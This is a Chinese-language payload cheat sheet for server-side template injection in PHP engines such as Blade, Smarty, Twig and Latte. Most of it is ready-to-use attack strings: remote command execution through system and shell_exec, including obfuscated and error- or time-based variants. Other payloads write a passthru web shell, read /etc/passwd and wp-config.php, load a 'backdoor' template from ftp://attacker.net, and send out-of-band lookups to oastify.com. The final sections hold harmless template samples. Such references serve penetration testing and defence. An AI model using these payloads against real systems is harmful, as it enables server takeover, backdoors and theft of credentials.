跳转至

服务端模板注入 (SSTI) - PHP

服务端模板注入 (SSTI) 是一种漏洞,当攻击者可以将恶意输入注入服务端模板,导致模板引擎在服务器上执行任意命令时,就会产生此漏洞。在 PHP 中,当用户输入嵌入到由 Smarty、Twig 等模板引擎渲染的模板中,甚至嵌入到纯 PHP 模板中且未经过适当的过滤或校验时,就可能发生 SSTI。

摘要 (Summary)

模板库 (Templating Libraries)

模板名称 载荷格式
Blade (Laravel) {{ }}
Latte { }
Mustache {{ }}
Plates <?= ?>
Smarty { }
Twig {{ }}

通用载荷 (Universal Payloads)

通用的代码注入载荷适用于许多基于 PHP 的模板引擎,例如 Blade、Latte 和 Smarty。

要使用这些载荷,请将其包裹在适当的标签中。

// 回显型 RCE (Rendered RCE)
shell_exec('id')
system('id')

// 报错型 RCE (Error-Based RCE)
ini_set("error_reporting", "1") // 为报错型利用启用详细的致命错误报告
fopen(join("", ["Y:/A:/", shell_exec('id')]), "r")
include(join("", ["Y:/A:/", shell_exec('id')]))
join("", ["xx", shell_exec('id')])()

// 布尔型 RCE (Boolean-Based RCE)
1 / (pclose(popen("id", "wb")) == 0)

// 时间型 RCE (Time-Based RCE)
shell_exec('id && sleep 5')
system('id && sleep 5')

Blade

通用载荷也适用于 Blade。

官方网站

Blade 是 Laravel 中自带的简单但功能强大的模板引擎。

字符串 id 可以使用 {{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}} 生成。

{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。


Smarty

通用载荷也适用于 v5 之前的 Smarty。

官方网站

Smarty 是一个用于 PHP 的模板引擎。

{$smarty.version}
{php}echo `id`;{/php} //在 smarty v3 中已弃用
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // 兼容 v3,在 v5 中已弃用
{system('cat index.php')} // 兼容 v3,在 v5 中已弃用

Smarty - 混淆后的代码执行

通过使用变量修饰符 cat,可以将单个字符连接起来形成字符串 "id",如下所示:{chr(105)|cat:chr(100)}

执行系统命令(命令:id):

{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。


Twig

官方网站

Twig 是一个用于 PHP 的现代模板引擎。

Twig - 基础注入

{{7*7}}
{{7*'7'}} 结果为 49
{{dump(app)}}
{{dump(_context)}}
{{app.request.server.all|join(',')}}

Twig - 模板格式

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Twig - 任意文件读取

"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{include("wp-config.php")}}

Twig - 代码执行

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
{{['id',1]|sort('system')|join}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id']|filter('passthru')}}
{{['id']|map('passthru')}}
{{['nslookup oastify.com']|filter('system')}}

{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %} // 为报错型利用启用详细错误输出
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{%include ["Y:/A:/", _self.env.getFilter("id")]|join%} // 报错型 RCE <= 1.19
{{[0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join)}} // 报错型 RCE >=1.41, >=2.10, >=3.0

{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString")}} // 布尔型 RCE <= 1.19
{{1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString")}} // 布尔型 RCE >=1.41, >=2.10, >=3.0
{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }} // 使用 CVE-2022-23614 进行沙箱绕过后的布尔型 RCE

在某些设置下,如果出现任何错误或警告,Twig 就会中断渲染。在这些情况下,以下载荷可以正常运行:

{{ {'id':'shell_exec'}|map('call_user_func')|join }}

注入值以避免在文件名中使用引号的示例(通过 OFFSET 和 LENGTH 指定载荷 FILENAME 的位置):

FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}

通过 FILTER_VALIDATE_EMAIL PHP 的电子邮件示例:

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Twig - 混淆后的代码执行

Twig 的 block 功能和内建的 _charset 变量可以嵌套使用,以生成载荷(命令:id):

{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}

以下载荷利用了内建的 _context 变量,只要模板引擎执行二次渲染过程,也能实现 RCE:

{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。


Latte

通用载荷也适用于 Latte。

Latte - 基础注入

{var $X="POC"}{$X}

Latte - 代码执行

{php system('nslookup oastify.com')}

patTemplate

patTemplate 是一个非编译型 PHP 模板引擎,它使用 XML 标签将文档划分为不同的部分。

<patTemplate:tmpl name="page">
  这是主页面。
  <patTemplate:tmpl name="foo">
    它包含了另一个模板。
  </patTemplate:tmpl>
  <patTemplate:tmpl name="hello">
    你好 {NAME}。<br/>
  </patTemplate:tmpl>
</patTemplate:tmpl>

PHPlib 和 HTML_Template_PHPLIB

HTML_Template_PHPLIB 与 PHPlib 相同,但被移植到了 Pear。

authors.tpl

<html>
 <head><title>{PAGE_TITLE}</title></head>
  <body>
  <table>
   <caption>作者</caption>
   <thead>
    <tr><th>名称</th><th>邮箱</th></tr>
   </thead>
   <tfoot>
    <tr><td colspan="2">{NUM_AUTHORS}</td></tr>
   </tfoot>
   <tbody>
<!-- BEGIN authorline -->
    <tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
   </tbody>
  </table>
 </body>
</html>

authors.php

<?php
// 我们想要显示这个作者列表
$authors = array(
    'Christian Weiske'  => 'cweiske@php.net',
    'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
// 创建模板对象
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
// 加载文件
$t->setFile('authors', 'authors.tpl');
// 设置 block
$t->setBlock('authors', 'authorline', 'authorline_ref');

// 设置一些变量
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', '代码作者,日期:' . date('Y-m-d'));

// 显示作者
foreach ($authors as $name => $email) {
    $t->setVar('AUTHOR_NAME', $name);
    $t->setVar('AUTHOR_EMAIL', $email);
    $t->parse('authorline_ref', 'authorline', true);
}

// 完成并输出
echo $t->finish($t->parse('OUT', 'authors'));
?>

Plates

Plates 的灵感来自 Twig,但是它属于原生的 PHP 模板引擎,而不是编译型的模板引擎。

控制器 (controller):

// 创建新的 Plates 实例
$templates = new League\Plates\Engine('/页面路径');

// 渲染模板
echo $templates->render('profile', ['name' => 'Jonathan']);

页面模板 (page template):

<?php $this->layout('template', ['title' => '用户资料']) ?>

<h1>用户资料</h1>
<p>你好,<?=$this->e($name)?></p>

布局模板 (layout template):

<html>
  <head>
    <title><?=$this->e($title)?></title>
  </head>
  <body>
    <?=$this->section('content')?>
  </body>
</html>

参考资料 (References)